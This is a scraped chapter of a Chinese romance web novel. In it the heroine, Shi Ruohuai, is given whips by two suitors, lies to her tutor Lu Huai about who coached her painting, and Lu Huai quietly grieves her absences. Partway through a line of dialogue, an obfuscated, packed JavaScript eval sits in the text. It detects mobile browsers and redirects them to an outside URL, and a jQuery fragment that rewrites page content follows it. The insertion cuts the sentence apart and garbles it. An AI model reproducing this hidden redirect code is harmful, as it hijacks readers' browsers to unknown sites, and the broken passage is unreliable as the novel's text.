123读书网 > 都市小说 > 谁是公主的心尖宠 > 47. 近黄昏
    天黑之前,师若淮以飞快地速度回到了沉沙寨,然后一头扎进踏云阁,招呼着轻烟给她研墨,然后赶紧提笔开始画最后一幅画。


    禾月和轻烟都习惯了她这两天的作息时间,早就准备好了饭菜。


    “大小姐,你不会是找了沈公子给你作假吧?”轻烟一脸担忧地问。


    师若淮一边低头作画,一边回答:“哪能啊,你不是说陆淮能认出我的画嘛,你放心,都是我自己画的,绝不掺假。”


    “大小姐,陆先生在院子里。”这时候禾月进来通报。


    师若淮早预料到他会过来突袭,从容地搁下笔,走出了房间。


    陆淮站在回廊下看着花草,师若淮出来冲着他见礼,问他:“找我有事?”


    “给你的。”陆淮抬手递了个长盒子给她。


    “什么?”她接过来,打开了盒子,看到里面放着一根青色的鞭子,做工非常精美,一看就是件趁手兵器。


    陆淮不可能有时间下山买,师若淮有点不敢相信,抬眼看向他,问:“这是你亲手做的?”


    陆淮避开她的目光,点了点头,没说话。


    “你还会这个?你……”师若淮把鞭子拿出来,放在手上掂量了一下,分量不小,看鞭子质地,好像是用动物皮革打磨出来的。“你从哪里搞的材料啊?”


    “宋无愿帮我找的。我之前没做过,权当练手了,你用用看吧,不知道你用着顺不顺手,有问题的话,我再帮你调整。”陆淮说话的时候才看向师若淮,目光中都是柔和。


    师若淮愣在原地,看着陆淮移不开目光,她的心软得一塌糊涂,同时又掺杂着无比的酸涩。


    和陆淮的关系,退后一步,她舍不得也做不到;前进一步,她不敢却又带着隐秘的期待。


    “为什么送我这个?”师若淮轻声问。


    “你的鞭子也是为了救我才丢的,我还你一条鞭子,是应该的。”陆淮解释道。


    “谢谢。”师若淮心里有喜悦,可是喜悦之外,又伴随着失落。


    她越来越发现陆淮的气节和风度,越来越明白,什么叫“非池中之物”。


    而这样的陆淮,只是她生命中的过客。


    三个月时间一到,他们两个将不会再有任何交集。


    他们的交集,都是师斐用强权和胁迫造就的。


    一想到这些,师若淮就心烦意乱,这种烦躁甚至盖过了收到礼物的喜悦。


    “怎么了,你不喜欢?”陆淮看出她脸色不对,他也跟着不安起来,问道。


    师若淮赶紧摇头,努力挤出一个笑容,说:“喜欢啊,我很喜欢。”


    即使她脸上在笑,可是陆淮也看到了她眼睛里的落寞,他看不懂她的心。


    如同他看不清自己的心一样,理智告诫他,离师若淮越远越好,可是感性却让他亲手做了这条鞭子。


    师若淮心中纠结,抬头就和陆淮对上了目光,两人长久地沉默着,似乎想从彼此的眼眸中看透些什么。


    似乎是有默契般,他们在同一时间错开了目光,同时低头。


    “我……课业还没完成,那我回去了。”师若淮低声说。


    “好。”陆淮回答。


    师若淮对着陆淮颔首,说:“谢谢你的礼物。”


    然后她脚下生风般跑进了房间。


    师若淮在房间里快速画完了最后一幅画,放进画筒中后,打开了沈遇秋给她的包袱。


    包袱解开也是一个盒子,她揭开盒子,发现里面也是一条长鞭。


    那是条通体漆黑,带着古朴和肃杀的鞭子,一看就是高人打造,价值不菲。


    她拿起黑鞭,打量了一番,忍不住喃喃:“今天是什么日子啊?”


    她五味杂陈地打开陆淮的盒子,拿出了青鞭,左右手各执一鞭,陷入了沉思。


    为什么陆淮和沈遇秋,要在同一天,送她同样的礼物?


    就在她发呆的时候,轻烟和禾月进来布菜了。


    看到她手里拿着两条鞭子,禾月福至心灵地笑了起来,说:“陆先生也太有心了吧,居然送了你两条鞭子。”


    师若淮苦笑起来,说:“不是了,青色的是陆淮送的,黑色的是沈遇秋送的。”


    禾月瞪大了眼睛,和同样惊诧的轻烟对视了一眼。


    “收到礼物你应该高兴啊,怎么愁眉苦脸的?”轻烟帮师若淮盛了汤,问。


    师若淮忍不住叹气,说:“收到礼物当然高兴啊,可是他们在同一天,送我同样的礼物,让我有点迷茫。”


    “为什么会迷茫?”禾月不懂。


    轻烟估计能明白一点师若淮的心境,不过她并没有说话。


    “要是我知道,我就不会迷茫了。”师若淮无奈地摇头,把两条鞭子分别放进了盒子里,盖上盖子,让轻烟收起来。


    这一天晚上,师若淮睡得并不安稳,梦里反复出现陆淮和沈遇秋送她礼物的画面,她觉得心力交瘁,第二天睡过了头,上课直接迟到了。


    陆淮看到师若淮顶着两个黑眼圈出现在课堂上,他并未责怪师若淮,只是问:“你昨晚难道是连夜在临摹画吗?”


    师若淮打了个大大的哈欠,说:“没有啊,睡得挺早的,只是……”


    “只是什么?”陆淮问。


    师若淮看了陆淮一眼,摇摇头,说:“没什么。”


    陆淮也不好追问什么,开始上课,说:“画呢,给我看看。”


    师若淮把画筒拿到陆淮桌边,递给他。


    “这是……”陆淮看着手里的几幅画,皱起了眉头,思索了一会儿,问:“谁教你画的?”


    师若淮本来还发懵,属于没睡醒的状态,被陆淮这么一问,她顿时清醒起来,瞪大了眼睛,不可置信地问:“这你都看得出来?”


    “轻烟指导你画的?可是看着又不太像啊?”陆淮抬头问她。


    师若淮思索片刻,选择撒谎:“汤伯伯指导了我一下。”


    陆淮仔细看了看画功,是师若淮的笔触没错,但是很显然有人教过她如何落笔起势,他看得出画意是一个挺有功力的人,汤籍诺的话,也对得上。


    因此陆淮并未追问什么,收走了课业,说:“我会批改,今天继续画画,你照着这幅画来临摹。”


    师若淮接过陆淮递来的画,她一眼就看出来,画的是面壁峰的景色。


    “哇


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970486|190364||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,你好厉害啊。”她由衷地称赞,问:“我什么时候才能像你这么厉害?”


    陆淮放好她的课业,对上她的目光,说:“努努力,总有一天可以的。”


    他当然不会直说,他十岁开始学习作画,如今的挥笔成画,随意自在,都是那十几年间一点点练习出来的。


    “你又在敷衍我。”师若淮目光移到那幅画上,说:“总有一天,那是哪一天啊,十年之后吗?人家都说,你这画功,至少有十年的本事了……”


    “谁说的?”陆淮准确地抓住了师若淮话里的信息,问。


    师若淮急忙打了自己的嘴几下,傻笑了几声,说:“那什么,汤伯伯说的啊……”


    “你是不是有事瞒着我?”陆淮盯着她,问。


    师若淮忙不迭摆手,否认:“没有。”


    陆淮让她回去座位上临摹画去,她急忙走开,暗暗叹了口气。


    在陆淮面前说谎,的确需要强大的心脏,稍有不慎,就会被他揭穿。


    太危险了!


    接下来的时间,就是陆淮批阅她的课业,她接着临摹陆淮的新画。


    面壁峰这幅画,可比竹林梅花图难多了,师若淮打起十二分精神,仔细地、专心致志地学习,一天下来,她也就画了个大概,并且画得很丑。


    陆淮已经批阅完了她昨天的课业,走到她身边看着她的“杰作”。


    虽然丑得人神共愤,但是他显然很有耐心,语气温和地指导她不对的地方。


    等她差不多临摹完,时间已经到了傍晚。


    她看了一眼天色,才发现时间已经如此晚,她想起昨天信誓旦旦地答应沈遇秋会过去,忍不住皱起了眉头,犯起了愁。


    “还不下课啊?”师若淮问。


    陆淮看着她的神态,问:“你有事?”


    师若淮老实地点点头。


    陆淮眼中闪过一丝苦笑,说:“今天的课就到这里了,下课吧。”


    “好!”师若淮得到许可,笔一扔,飞快地起身冲着陆淮行了礼,就跑出了讲武堂。


    陆淮看了看她的画,再抬头,已经看不到她的影子了。


    他站在课堂上,看着窗外的天,自嘲地笑了一下。


    他又不是白痴,即使师若淮什么都不说,但是随便打听一下,他就能知道,这几天她一下课就离开了沉沙寨。


    至于去了哪里,岗哨自然不知道。


    但是陆淮随便一猜,就知道她的目的地一定是灵初宫。


    挺好的。陆淮在心里这样告诉自己。


    可是……他真的觉得这样很好吗?


    如果真的很好,那他此刻的怅然若失是因为什么?


    天边的晚霞很美,陆淮却只从晚霞里看出凄凉。


    他收起了师若淮画的画,独自坐在位置上给她批阅,然后又展开一张新的宣纸,开始画新的画。


    这一次,他画的是沉沙寨的落日。


    在这里的日子一天天减少,他想,往后的日子,就用画笔,记录下这里的一些东西吧。


    以后他不在沉沙寨了,某一天师若淮看到他的画,如果能想起他一分一毫,如此,也就够了。